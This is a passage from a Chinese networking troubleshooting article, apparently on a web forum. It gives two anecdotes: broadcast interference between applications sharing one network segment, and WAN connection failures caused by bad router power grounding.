6.广播干扰   上述通过桥接设备联网的两端,分别有一套通过广播发送信息的应用软件。当它们同时运行时,两边的服务器均会发出报警:收到不完全的包。将一套应用软件转移到另外一个网段上以后,此报警消失。这是因为网络的广播在同一网段上是没有限制的。两个广播就产生了相互干扰从而产生报警。而将一个应用软件移到另外一个网段以后,就相当于把这个网段的广播与另外网段上的广播设置了路由,从而限制了广播的干扰,这也是路由器最重要的作用。   7.WAN与接地   无意将路由器的电源插头插在了市电的插座上,结果64K DDN就是无法联通。电信局来人检查线路都很正常,最后检查路由器电源的接地电压,发现不对,换回到UPS的插座上,一切恢复正常。   路由器的电源插头接地端坏掉,从而造成数据包经常丢失,做PING连接时,时好时坏。更换电源线后一切正常。WAN的连接因为涉及到远程线路,所以对于接地要求较为严格,才能保证较强的抗干扰性,达到规定的连接速率,不然会出现希奇的故障。
󰈣󰈤
 
 
 
>>返回首页<<
 
 热帖排行
 
 
 
静静地坐在废墟上,四周的荒凉一望无际,忽然觉得,凄凉也很美
©2005- 王朝网络 版权所有